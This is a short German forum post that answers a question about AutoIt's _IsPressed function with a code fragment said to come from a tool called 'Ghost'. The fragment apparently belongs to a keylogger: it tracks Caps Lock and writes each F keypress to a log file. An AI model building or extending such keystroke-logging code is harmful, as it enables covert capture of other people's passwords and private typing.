Doch, "IsPressed" hilft sogar sehr.
Mal ein Beispiel aus Ghost kopiert:
[autoit]
Local $CAPSLOCKTOGGLE = 0
If _IsPressed ('14') = 1 Then
If $CAPSLOCKTOGGLE = 1 Then
$CAPSLOCKTOGGLE = 0
ElseIf $CAPSLOCKTOGGLE = 0 Then
$CAPSLOCKTOGGLE = 1
EndIf
EndIf
If _IsPressed ('46') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
FileWrite($log,"f")
Else
FileWrite($log,"F")
EndIf
Mehr kopiere ich mal nicht, ihr wisst schon zuviel